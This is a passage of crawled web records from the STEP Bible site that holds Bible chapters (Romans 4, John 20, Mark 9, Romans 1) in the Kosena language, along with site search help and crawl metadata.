Áánútun-aaiyavesa áraire kwésentavena Áánútu séna arupí umái máyáawe kwésiye. miwí Ááváramumo mirámó siráintemba Áánútun-aaiyavesa áraire kwésesa pósa Ááváramuntavesa kentáá síkwáꞋnáraamban-iye kwésewe. 12 súraꞋo kárámaimo araaꞋénamo kwéundawaiya kwemá kentáá síkwáꞋnáma iyéyá kwésune. súraꞋo kárámaimo araaꞋénamo kwéundayavetaawe suꞋmai ímanivo Ááváramumo mirámó siráintemba Áánútun-aaiyaveta áraire kwésundayavetaawe Ááváramuntaveta kentáá síkwáꞋnáma iyéyá kwésune. Ááváramu áúraꞋo ímo kárámaimo araaꞋénamo urónkaꞋa Áánútun-aaiyavena áraire séna máyomba póna Yútaa-kwaasiye óꞋonkaa-kwaasiye Áánútun-aaiyavesa áraire kwésewai tíkwáꞋnáman-iye.\nÁánútun-aaiyavai áraire sewáí Áánútu simái asirámakaimba timínín-kwasai.13 naaóváꞋá Áánútu Ááváramuntavena simái asirámakon-aimba séna ewé enaísaavutantamba ónááowaiye amápaꞋ-marama kentí maramá kwáyáiye siráiye. Ááváramu Áánútuna ámáámba kwakóntavena ímanivo kwenááiyavena áraire súwana Áánútu séna arupí umái máyaane súntavena Áánútu Ááváramuntavena simái asirámakon-aimba siráiye. 14 Áánútu simái asirámakon-aimba Mósesimbo simámakain-amaambo kwégwaraawaiyavena íma siráivo Áánútun-aaiyavesa áraire kwésewaiyavena siráiye. mirámó ímo uráinkakai Áánútun-aaiyavesa áraire kwésewai úwoiyavesa sesinó. Áánútu simái asirámakaimba úwoiyavena sisinó. 15 ámáán-aimba kwáyáísasa arááíráantavena moórá-amba Áánútumo áwááꞋo sénamo sáwí-meyambo timínín-amba paáruraiye. ámáán-aimbo ímo kwáyáinkakai íma arááísísina. ámáán-aimba kwáyáiye.\n16 Ááváramu Áánútun-aaiyavena áraire siróntavena simái asirámakon-aimba siráiye. miráumai Ááváramu aísaavutantambo ónááowai Áánútun-aaiyavesa áraire sénááowai Áánútu úwoi túwaꞋnaa ena simái asirámakaimba timíníye. Áánútu Mósesimbo simámakain-amaambo ísaraawaiye suꞋmai ímanivo Ááváramumo Áánútun-aaiyavenamo áraire siróntemba Áánútun-aaiyavesa áraire kwésewai kwemá úwoi kwétuwaꞋnaa-iye. Áánútun-aaiyaveta áraire kwésundawaiya Ááváramu kentáá síkwáꞋnáraamban-iye. 17 Áánútu aúrankaꞋa Ááváramu máyowana maarán-áímbá simái agaimaréna séna\nóꞋon-oꞋon-kwaasi tíkwáꞋáma\nóne Áánútu siráiye\nagaimaréna siráiye. Áánútu púwómpinkembo kwéusasintinkaiwai éna kwemó aaimó sisanamó ímo kwáyáin-tantaakomo kwévaariwain-aaiyavena Ááváramu áraire siráiye. 18 kwaási ímo paáronaaon-tantaatavena Áánútu Ááváramuntavena súwana Ááváramu áraiꞋa mirá íníyena siyé siráimba póna óꞋon-oꞋon-kwaasi tíkwáꞋnáman-iye. Áánútun-aai aúváívimba agaimaréna séna\nenaísaavutantambo ónááowai\nsáwíva-kwaasi paáronaaowe\nagaimaréna siráimba pósa paáruraawe. 19 ááéma Ááváramu anónuꞋmai karéna ména sáwívar-ima 100 ima maisuwéna máyowana awainínkó Séraa ageínímbá máyowana póna íma imáyáa éna Áánútuntavena asiramái imáyáa kwéena 20 Áánútu simáímo asirámakon-aintavena áraire séna íma kaer-ímáyáá éna asiramái ména Áánútu áwíꞋa mósá maréna 21 séna Áánútumo simáímo asirámakainten-umai kanaán-umai iyámpói simíníye séna 22 miráumai Áánútun-aaiyavena áraire siróntavena séna arupí umái máyaane siráiye.\n23 arupí umái máyaane siráimba íma Ááváramuntavenawe suꞋmai siráivo 24 kentááyávénagwaraꞋa mirán-áímbá siráiye. Ísóigo Ísumba pukáimpinkemba Áánútu usásinankaraiwain-aaiyaveta áraire súndayavenaya séna arupí umái máyáawe kwésiye. 25 kesáámó sáwíꞋo uráundayavenaya kentáásí sáwí-meyambo maisiyuwáníntavenaya Áánútu Ísu Káráísitimba aiꞋmarówana kuména kumpuwúwana Áánútu kwenaúrankaꞋa arupí umásinkanintavenaya pukáimpinkemba usásinankaraiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.4","date":"2018-04-24T22:45:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947421.74\/warc\/CC-MAIN-20180424221730-20180425001730-00497.warc.gz","language":"kze","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000054836273193}","num_words":727,"character_repetition_ratio":0.109,"word_repetition_ratio":0.019,"special_characters_ratio":0.15,"stopwords_ratio":0.21,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"John 20\nÍsuma pukáimpinkemba usásinkain-kwasai.1 sontaaráꞋá irataróꞋa íma sán-karowana Máríyaa Mágátáraa-naopaken-ininkoma utamánkaropaꞋa kwéna koawánómba murí-áígóná óikaken-ontamba maisukówana koawánéna 2 isaaiséna Sáímoni Pítaante kenté tasimásimena séna kentáásí anóndakon-áúma murí-áívínkémbá maimaésa náávara makááo súwakai 3 Pítaae kesé utamánkóm-buri-aivaꞋa kónáe sékai 4 isaaisékai kówáyamba kemá Pítaamba kóyaaita kwéꞋa aivaꞋá murí-áívímbá kówánda 5 kívaireꞋa ampaantawé suꞋmai kwáyomba awánéꞋa íma murí-áívímbá usáverááwánana 6 Sáímoni Pítaa téna murí-áívímbá usáverena awánómba ampaantawé suꞋmai kwáyowana 7 Ísu aꞋnónkákén-ámpáántá moórá-ayampaꞋa kwáyowana awánówaꞋa 8 murí-áívímbá aivaꞋá kówándawai usávereꞋa awánéꞋa séꞋa áraiꞋa pukáimpinkemba usásinkaiye séwándanivo 9 Áánútun-aai aúváívimba agaimaréna séna pukáindavinkemba usásinaniye siráimba íma ísámai kaweꞋá ówáyamba 10 kenkáísí naaópakai kuráuye.\nÍsu paárúwana Máríyaa awánarain-kwasai.11 naaópaꞋa kówáyana Máríyaa murí-áígó óikaꞋa ména iviꞋá kwétena kívairena murí-áívímbá awánómba 12 kae-kwáásí kwayán-únánkwátóigwaraꞋa Ísumba utamánkóm-barupimba mésarai moóráwai aꞋnómpáꞋá maúwana moóráwai aísamaivaꞋa maúwana umái máyóyana Máríyaa tuwánówasarai 13 sésarai menínínkóo nóintavai iviꞋá kwétaano suyaná Máríyaa séna kesí Ísóigomba maimaésa náávara makááo séꞋa íma kwáyáísaꞋa kwéawanaumne 14 simásuwena tagwántámai awánómba Ísuma úmbanivo íma aúyówana 15 Ísu séna menínínkóo nóin-ivira kwétewa nááwana kwéavakaa-ono súwana Máríyaa séna taai-kigáúráꞋá tavíkáiwaima iyé-ímáyáá éna séna emó maimaémo náávaꞋo maké simásimiyo. komayánáivo súwana 16 Ísu séna Máríyaao súwana mégwantena kwenááivinkemba séna Araponai súmba maanáípínkémbá kwántámai séna kesí Ísóigoo súwana 17 Ísu séna kesivonópaꞋa íyóndayavai kwéumpo íma tátoraao. kesívárawaisai kosimátime se kesivo kentivonópaꞋa iyúne. kesí Ísóigo kentí ÍsóigonopaꞋa iyúne súwana 18 Máríyaa Mágátáraa-naopaken-ininko Ísuna kwayó-kwáásí kosimátimena séna Ísóigomba awánáúmne séna Ísóigomo sún-aimba simátímakaiye.\nÍsuna kwaási kwembá awánaraan-kwasai.19 misóntááóná enónkaꞋa Ísuna kwayó-kwáásí Yútaa-anon-kwaasiyavena tááꞋa kówasa naaúmpaꞋa umésa ontá umái ítáyuwowana Ísuma paárumai túrankaꞋa ména séna aánoumai máéro séna 20 ayáánarumpin-avigwara akwámpín-ávígwáráꞋá agaráátinkowasa miwítí Ísóigomba awánésa pósa ávááran-aamoi umánkówana 21 Ísu moórágwaraꞋa séna aánoumai máéro. kesivomó siꞋmákaintemba umái keinárawaꞋa tiꞋmáráanaꞋa kesí mayáímá komáyáaro séna 22 kwenááma aútimena séna Áánútun-amankomba tíménana kesé méniye. 23 sáwí-imayaamo maitiyuwáíyanamo éna misáwí-ímáyáámá ánásaniye. ímo maitiyuwáíyanamo éna misáwí-ímáyáámá úwoi kwaíkwaiꞋa íníye Ísu siráiye.\nTómáasi Ísumba awánarain-kwasai.24 Ísuma paárúwasa kwená kwayó-kwáásí awánasuwonkaꞋa Tómáasi kwááyu-awiꞋa ávárawaao kwemá óꞋopaꞋa máyomba 25 túwasa simámesa sésa Ísóigoma paárisata awánáúmne suwaná Tómáasi séna ayáánarumpin-avigwara akwámpín-ávígwáráꞋó awánéꞋo tátorekai séꞋa pukáimpinkemba usásinkaiye súsino súwana 26 avakaeté-noꞋwaamba maisuwésa Tómáasigwarar-umai ókwaraꞋa kwená kwayó-kwáásíyé naaúmpaꞋa umésa ontá umái ítáyuwowana Ísuma paárumai túrankaꞋa ména séna aánoumai máéro séna 27 Tómáasintavena séna siyáánarumpimba tátoꞋmai awáné sukwámpímbá tátoꞋmai awáné se kentáváí kamparé sénavainivo áraire siyó súwana 28 Tómáasi séna kesí Ísóigoo emá kesí Áánútu óne súwana 29 Ísu séna ááéma íma suwánarempo kamparé siráandaniye. ívéꞋa suwánáánda po áraire kwésene. ímo suwánewaimo ésa árairemo sésamo ésa aamoí ésa tirumbá kaweꞋá ónááowe Ísu siráiye.\n30 Ísuma kwená kwayó-kwáásí súrankaꞋa óꞋon-oꞋom-bayai-awaameꞋa agaráásinkowaꞋa évakaꞋa maankwándááívímbá íma agaimaráúndanivo évakaꞋa agaimakáumne. 31 Ísuma Áánútu áánimba póna kwemá usásinankaiwaiman-iye séna maanáúváímá agaimakáunda póꞋa Ísuntavesa áraire sénááowe. mirámó síyawaimo ésa Ísuwe tarúmai maíꞋmaiꞋa ónááowe séꞋa mindáyaveꞋa maanáúváímá agaimakáumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.20","date":"2018-04-20T14:49:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125938462.12\/warc\/CC-MAIN-20180420135859-20180420155859-00206.warc.gz","language":"kze","language_score":0.9999363422,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999363422393799}","num_words":579,"character_repetition_ratio":0.048,"word_repetition_ratio":0.014,"special_characters_ratio":0.16,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Mark 91 áraiꞋa simátimeꞋa séꞋa évakaꞋa maankáꞋó máyáan-kwaasi íma aivaꞋá puwéꞋa Áánútu kwená asirayándéí kwégawaaimba awánéꞋa naaémba puwónááowe Ísu siráiye.\nÍsu óꞋon-kuwawaaꞋa aúkáin-kwasai.2 Ísu mináímbá simásuwena avaꞋmoraé-noꞋwaamba kwaéna Pítaante Yémésinte Yóninte tíꞋmaena anón-omapaꞋa iyúmba miwíyé suꞋmai umésa miwí túrankaꞋa Ísu óꞋoran-auma auvúwana 3 kwená unáánkwátóiraꞋa ságayamba kwaéna kwayáníꞋa kéna aaváúmó usénamo intembá mirá úwasa 4 awánomba kae-kwáásíráí kwíyómpakemba paárésarai mindárai túwíꞋa Íráiyaae Mósesiye Yútaa-kwaasi tíkwáꞋnárai Ísuwe kwaasái kwésuyana 5 Pítaa Ísuntavena séna anóndakoo maankáꞋó maúndaya kaweꞋá imbá póta kwááyu-namba kaumbomá ónaundaya moórá endéí éta moórá Mósesindei éta moórá Íráiyaandei éta mirá ónaundayaawe súwana 6 ávááraumai tááꞋa kówana nóin-ainaꞋi síníyena póna mirán-aimba Pítaa siráiye.\n7 mirá kwésunkaꞋa ainánkó kuména káátaguwana mináínámpínkémbá aaigówé suꞋmai séna maawámá kesáánimba isaꞋá kwená imáyáa kwéune. kwenáái ísáaro súwasa 8 kwená kwayóꞋnárau awánomba mindárai kwíyómpaꞋa íyúwana Ísuwe suꞋmai méraiye.\n9 máyowasa omápakemba kúmúmba Ísu asiramái simátimena séna awánaamba íma simátíméro. kemá kwaási úrandaꞋa kumpaáruraundawai púwóndavinkemba usásinaandaraꞋa awánaamba kanaaráꞋá simátímaꞋmae íyóro súwasa 10 isésa íma simátimesa mináímbá úwoi tátoresa keáímbá sésa púwóndavinkemba usásinanaumne simbá nóran-ainaꞋiyo keáímbá siráawe.\n11 keáímbá sésa Ísuntavesa áísaa esa sésa ámáámba sen-kwáásí sésa Íráiyaa aivaꞋá paárínana Áánútu usásinankaiwai Yútaa-kwaasiya amuꞋmakáundawaiya naaémba paáriniyemo sembá nóra sésa mináímbá kwéseo suwaná 12 Ísu séna aivaꞋá Íráiyaa paáréna toꞋmayaa íníye-aimba árair-aimban-iye. moórá-aimba kwaási úrandaꞋa kumpaáruraiwaintavena agaimaréna séna kwembá áíꞋa índaiꞋa umánkesa tínaaemba umánkanaaowe agaimaréna siráiye. 13 simátimeꞋa séꞋa Íráiyaa áꞋa tiráiye. agaimaróntemba umái kwembá sáwíꞋa umánkanae sésa sáwíꞋa umánkaraawe. mirán-áímbá kwentáváí agaimaróntemba kemá kwaási úrandaꞋa kumpaáruraundawaintavai agaimakáawe Ísu siráiye.\nÍsu taraváá-kwámbá mayáúkain-kwasai.14 Ísu simásuwena omápakemba kúmúmba kwená kwayó-kwáásítópaꞋa kúmúwasa sáwíva-kwaasi torupésa ámáámba sun-kwáásíyé Ísuna kwayó-kwáásíyé asirayán-áímpákémbá sésa 15 Ísu túntavesa ivátuwesa paruvará umánkówana 16 Ísu séna nóintavai asirayán-áímbá kwéseo séna tísaa úwana 17 minkwáásíyómpínkémbá moóráwai séna anóndakoo kesáánimba áíꞋmaeꞋa túne. kwenarumpimbá taraváá-kwámbá máyáísana íma aaí kwésisana 18 mintáráváá-kwánkó tátoꞋmai amentánaanta isaná tanaambá váguvagu kwéena áwááyaamba akékúndena aigareó nonkáánéna aíyayaamba sápísimagwisana mirá úmaena kwéiyisaꞋa ená kwayó-kwáásíyávéꞋa séꞋa taraváá-kwámbá arumpinkémbá mayaúwáaro súnasa íma kanaán-umai mayáúkaawe súwana 19 Ísu séna kentáváí íma imáyáa kwéowana póna sirumbá umbaí kwétaivo nóraumai-tawaiya kesé ménaumno simásuwena séna ánivo enáánimba áíꞋmae tiyó súwasa 20 áíꞋmaesa tuwaná mintáráváá-kwánkó Ísumba awánéna miníyámpóí améntáyuwowana tanaambá véna kwárereꞋa éna aigareó monkáánúwana 21 Ísu avowántávéna séna nósatawai ánkaraiyo súwana umarankaꞋá ánkaraiye. 22 tuvuwíndayavena póna sáwívakaꞋa améntámai irá káúvóraꞋna éna améntámai nompímbá túwáaraꞋna kwéiye. emó kanaamó e arumbá maisinkéya súwaꞋnaa uwo súwana 23 Ísu séna nóra séwa emó kanaamó e súwaꞋnaa uwo kwéseno. ÁánútumpaꞋa agevamái máyaawai amápa-tantaaꞋa kanaaráꞋá ónááowe súwana 24 miníyámpóígó avowámá avekáán-umai anónkaꞋa séna kemá ÁánútumpaꞋa agevamái máyaundanivo kemá Áánútuntavai íma asiramái kwémaunda-yantaaꞋa súwaꞋnaa uwo súwana 25 Ísu awánómba sáwíva-kwaasi sisipáá uwaná taraváá-kwántávéna séna aívó-taravaa-kwankoo auwé kóaao. íma koyauwérénda ákaꞋa kóaao súwana 26 kwááꞋa téna miníyámpóí améntáyuwowana tanaambá vówana arumpinkémbá kóúwana miníyámpóí púwóraꞋna umai máyowasa évakarawai sésa áꞋa púwíye suwaná 27 Ísu ayáánkwanda tátoꞋmai usásinakowana kokuꞋá méraiye.\n28 kokuꞋá máyowana Ísu naaúmpaꞋa umáyowasa Ísumo kweyáá máyonkaꞋa kwená kwayó-kwáásí umésa sésa nóra séta mintáráváá-kwámbá íma kanaán-umaiya mayáúkaumno suwaná 29 námúnaa kwésemba póꞋa miráumai mirán-táráváá-kwámbá mayauwánááovo óꞋon-tantaaꞋneimo éꞋa íma kanaán-umai mayauwánááowe Ísu siráiye.\nÍsu puwínín-aimba siráin-kwasai.30 Ísu simásuwena tuwéna Káríri-ayampaꞋa aampaꞋá kwégwena sáwíva-kwaasi torupaavó séna kesí kwayó-kwáásíyé suꞋmai aaí simátimenae séna aampaꞋá kwégwena séna kembá kwaási úrandaꞋa kumpaáruraundawaimba óꞋon-kwaasi timíyasa sínkamiyaꞋa puwéꞋa kaumbo-táwai maisuwéꞋa usásinanaumne súwasa 32 kwemó sún-ainkona ááimba íma isésa áísaa ónáe sésa umbá tááꞋa kówasa íma áísaa uráawe.\nnááwa kwéusayaaitaiyo siráan-kwasai.33 íma áísaa esa Kápénéamu-naopaꞋa kumbá naaúmpaꞋa umáúwana Ísu tísaa ena séna aampaꞋá kwéteꞋa nóin-aina siráao súwasa 34 aampaꞋá kwégwesa sésa kentáávínkémbá nááwa kwéusayaaitaiyo sésa iséise úmae kwégwesa pósa íma aaí suwaná 35 Ísu maraꞋ-maéna kwená kwaási sísamaivakemba kaeꞋá kumbaimái-kwaasiyavena séna maísáaro. usáyaaitanae síyawai tínaaeniꞋa ésa amáparawaiti kwayóꞋá máráaro simásuwena 36 moórá-iyampoi áíꞋmai avumpimbá usásinankena taparéna simátimena séna 37 kentáváí imáyáa kwéesa iyámpói áwaꞋnaa onten-umái kwésuwaꞋnaa-owe. súwaꞋnaa onten-umái Áánútu siꞋmákaiwaimba kwéawaꞋnaa-owe Ísu siráiye.\nkentí mayáí íma sáwíꞋa kwéiwaina kwaasái.38 súwana Yóni Ísuntavena séna anóndakoo moóráwai kwénaaena taraváá-kwántóntávéna séna Ísuna asirayámbá kwáyáintavai auwé kóaao simátímapaꞋa kwégwisasa mintáráváá-kwámbá kóuraawe. minkwáásígó íma kentáávínkén-kwáásímá ómpo íma miráne étuwaaoya siráumne Yóni súwana 39 Ísu séna íma tuvínankaaro. ímo awánaam-bayaimo máyáawai úwoi kesúwíꞋa íma sáwíꞋa simásinkanaaowe. 40 kentáásí mayáígómbá íma sáwíꞋa kwéowai úwoi kwésuwaꞋnaa-owe. 41 áraiꞋa simátimeꞋa séꞋa keinárawaꞋa tuwánésa sésa Ísu Káráísitina kwaási ombá póꞋa túwaꞋnaa ónáe sésa sáwíyan-tantaaꞋa nombá timíyawaima Áánútu kaweꞋ-méyámbá timíníye Ísu siráiye.\nsáwíꞋa kwéon-kwasai.42 Ísu mináímbá simásuwena séna iyámpóígomo kesááiyavaimo áraire sintenkáán-umai évakarawai áraire kwésewe. évakarawai tésa kesááiyavaimo áraire kwésewaima kampar-áímbá tasimátimiyasa isésa sáwí-ampaꞋa kówíyasa Áánútu kampaꞋó síyawai sáwí-meyamba anómba timínívo miwímó tinumarampimbó anón-ontambo aríkwímaresamo nompímbó túwáawasamo kumésamo kumpuwésarakai kampar-áímbá íma simátíméwasa sáwí-ampaꞋa íma kosinó. mindá kanaán-iye. 43 tiyáánkomo sáwíꞋo ínaꞋa misáwí-ámpáꞋá kúnavo séꞋa moórá-tiyaamba arátúwáaro. kae-tíyáámbó kwáyainaꞋo éꞋa sáwí-marupaꞋo iramó kaíkaiꞋo kwéipaꞋa kónááomba mindá sáwíꞋan-iye. sáwíꞋo uráinda maisuwéꞋo máyáamba mindá kaweꞋán-iye. 45 tísamaigomo sáwíꞋo ínaꞋa misáwí-ámpáꞋá kúnavo séꞋa moórá-tisamaima arátúwáaro. kae-tísámáímó kwáyainaꞋo éꞋa sáwí-marupaꞋo iramó kaíkaiꞋo kwéipaꞋa kónááomba mindá sáwíꞋan-iye. sáwíꞋo uráinda maisuwéꞋo máyáamba mindá kaweꞋán-iye. 47 túrankomo sáwíꞋo ínaꞋa misáwí-ámpáꞋá kúnavo séꞋa moórá-turamba pítuwaaro. kae-túrándéímo awánéꞋo éꞋa sáwí-marupaꞋo iramó kwégaipaꞋa kónááomba mindá sáwíꞋan-iye. sáwíꞋo uráinda maisuwéꞋo máyáamba Áánútu kwená kwaási kawááipaꞋa máyáamba mindá kaweꞋán-iye. 48 iramó kwégaipaꞋa marinkómó éna kwaíkwaiꞋa kwéinana iramó éna íma pisináínda kaíkaiꞋa kwéiye Ísu siráiye.\n49 Ísu simásuwena séna uwímó toónkáꞋó úmárááwanamo kaweꞋó intembá Áánútuma kwaásiraꞋa iramó kaintenkáán-umai maráínasa kaweꞋá umái ménaaowe. 50 uwímá kawe-tántááꞋá imbánivo anómba ánásaisana ayáántámba kwáyáimbanivo óꞋa uwímó káíꞋa íma úmaranaaowe. uwígómó áséimo intenkáámbá kwéeꞋa paru umái ménaaowe Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.9","date":"2018-04-22T18:08:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945637.51\/warc\/CC-MAIN-20180422174026-20180422194026-00388.warc.gz","language":"kze","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000040531158447}","num_words":992,"character_repetition_ratio":0.042,"word_repetition_ratio":0.012,"special_characters_ratio":0.156,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Romans 11 kemá Póro Ísu Káráísitina mayáí-kwáásígó éꞋa maanáímbá agaimaráúmpo ísáaro. Áánútu kembá aantá-kwaasi ítámarena séna kesáái áséi-kwasai kosimátímaꞋmae naauwó séna siꞋmákaiye. 2 naaóváꞋá Áánútu kwenáái simátímakowaiyavena mináséí-kwásáí simái asirámakain-aimba súwasa aúváí-kwandaaivimba agaimakáawe. 3 mináséí-kwásáí Áánútu ááninko kentáásí Ísóigo Ísu Káráísitintavesa simái agaimakáawe. kwemá kwaásimo kunaúkáimba anóndako áwíꞋa Tévíti aísaavutantamba uráiwaiman-iye. 4 kwenamankó Áánútunopakemba póna Áánútu kwembá pukáimpinkemba usásinankaraintaveta minánón-ásíráyámbá awánéta séta Áánútu ááninkoman-iye kwésune. 5 óꞋon-oꞋom-baravaken-kwaasi kwenááiyavesa áraire sésa taagwiyavónááontavena Áánútu Káráísitimba imáyáa amúwana kentávéna séna kesáái kosimátímaꞋmae naauwó séna kaweꞋ-máyáí símakaiye. 6 Ísu Káráísitina kwaási-iꞋa ónááontavena Áánútu tááyena keinárawaꞋa Árómáa-naopaꞋa máyáawaigwaraꞋa tááyaraiye. 7 mináíntávéꞋa imáyáa kwéeꞋa maanáúváí agaimaráúmpo ísáaro. keinárawaꞋa Árómáa-naopaꞋa máyáawai Áánútu arumbá kwétimena kwená kwaási-iꞋa ónááontavena tááyaraiwai ísáaro. Áánútu kentáásivowe Ísóigo Ísu Káráísitiye úwoi túwaꞋnaa ésarai paru kwéumatinkaayantaveꞋa námúnaa kwésune.\nÁrómáa-naopaꞋa kónáe siráin-kwasai.8 keinárawaꞋa Ísu Káráísitiye aráápamai máyáan-ainko amápar-ayampa-kwaasivaꞋa kóyáwé isasá ísááwaꞋa Ísu Káráísitina mayáíyávéꞋa imáyáa éꞋa ÁánútumpaꞋa súwi kwésune. 9 Áánútuna mayáí karuwaaꞋá umái kwémaeꞋa ááninkon-aai áséi-kwasai kwésimatimeꞋa keinárawataveꞋa námúnaa símae kwéiyunda Áánútu kwéisaiye. 10 kentópaꞋo ímo kúndayaveꞋa séꞋa ÁánútumpaꞋa áísaa úmae iyéꞋa arááímo táínamo e aambá kwisínkénaꞋa Árómáa-naopa-kwaasiye komáéno kwésune. 11 Áánútun-amanko kwésuwaꞋnaa-isaꞋa kotúwaꞋnaa onaꞋá kwenááiyaveꞋa asiramái imáyáa ónááontaveꞋa kentópaꞋa kónáe séꞋa kwéune. 12 mirámó ínaꞋo éꞋa keinárawaꞋa túwaꞋnaa onaꞋá kembá súwaꞋnaa ónááowe. Ísu KáráísitintaveꞋa imáyáa kwéeꞋa túwaꞋnaa onaꞋá kembá mirá ónááowe.\n13 kesí kwaásiyono. kentópaꞋo ímo kúndayaveꞋa sáwí-imayaa ováínivo maanáímbá ísáaro. sáwíva-kanaa kónáe séꞋa únda moórá-yantaako tátoraisaꞋa máyaumne. óꞋonkaa-kwaasivimbo Áánútuna aambó agaráátinkaawanasamo kwakáantemba keinárawaꞋa óꞋonkaa-kwaasi owaꞋá mirá ónáe séꞋa kwéune. 14 Áánútu súwaꞋnaa uráintaveꞋa sáwíva-kwaasi anón-daopare sáwíyan-daopare amápar-aimbo ísaraawaiye ímo ísaraawaiye túwaꞋnaa onó. 15 mirámó únda Árómáa-naopaꞋo máyáan-kwaasi áséi-kwasai kosimátimenae séꞋa kwéune.\náséi-kwasaigona asirayán-kwásáí.16 áséi-kwasaiyaveꞋo ímo sigaeyávéꞋo kwéunda maarán-áímbán-iye. áséi-kwasaiyavesa árairemo kwésewai Áánútu kwená asirayándéí miwítí sáwí-imayaagomo tátokaimpinkemba kwéiyatinkaiye. aivaꞋá Yútaa-kwaasi ísaraawasa naaémba óꞋonkaa-kwaasi kwéisaawe. 17 Ísu Káráísitin-aaiyavetaamo áraire kwésundayavenaya mindáyavenawe suꞋmai Áánútu séna arupí umái máyáawe kwésisata kwenaúrankaꞋa arupí umáíya máyaumne. áséi-aimpinkemba mirán-áíntá ísaraumne. mindáyavena naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna\nÁánútun-aaiyavesa áraire kwésentavena\nÁánútu séna arupí umái máyáawe kwésimba\npósa aúnáiꞋa umái kwémaewe\nagaimaréna siráiye.\nÁánútumba tínaaemba umámakaan-kwasai.18 Áánútu maanáímbá agaráásínkaraiye. marapá-kwáásí sáwí-imayaa ésa sáwíꞋa ésa mirámó kwéomba Áánútuna árair-ainkona aambá áúmbakaamba póna Áánútu áwááꞋa séna kwíyómpakemba sáwí-meyamba timíníye. 19 Áánútu kwená ááimba íma aúpáꞋá maréna avoraꞋá agaráátínkaraimba marapá-kwáásí awánésa íma imáyáa uráamba póna sáwí-meyamba timíníye. 20 Áánútu maramó tarórurainkakene minavumpinkéné Áánútuna ááimba awánésa kwená asirayámbó kwaíkwaiꞋo kwéin-asirayamba kaweꞋá umái awánésa Áánútun-aneꞋa túrandei íma kwéawanaambanivo kwená ááimba áꞋa kwéisaawe. Áánútu tarórurain-tantaaꞋa awánésa pósa kwemó máyáin-aimba kanaán-umai kwéisaawe. mindáyavesa sáwíꞋo kwéomba miwítí ááinko isasá sáwíꞋa kwéowe. 21 Áánútu máyáin-aimba ísaraambanivo ivátuwesa kwenáwíꞋo mósá marésamo áraiꞋa máyáiye seráámbá íma mósá marésa súwi íma sésa ivátuwesa kaéꞋnáer-imayaa kwéesa túnkain-ayampar-imayaa kwéesa 22 kampaꞋá sésa kawer-ímáyáágwárá-kwáásíyá úne sembánivo sáwí-imayaagwara-kwaasi ésa 23 Áánútu maíꞋmaiꞋa kwéiwaina imáyáa íma mósá marésa kwaási áúwawaakaamba numamá kwaí-kwaamba iraankavayaambá tarórumakesa mintántáákóná imáyáa mósá kwémaraawe.\n24 kwaási mirá-sáwíꞋá kwéontavena Áánútu ánaaemba umátimena séna sáwí-imayaayaveꞋo tirááíyaveꞋo ónááomba 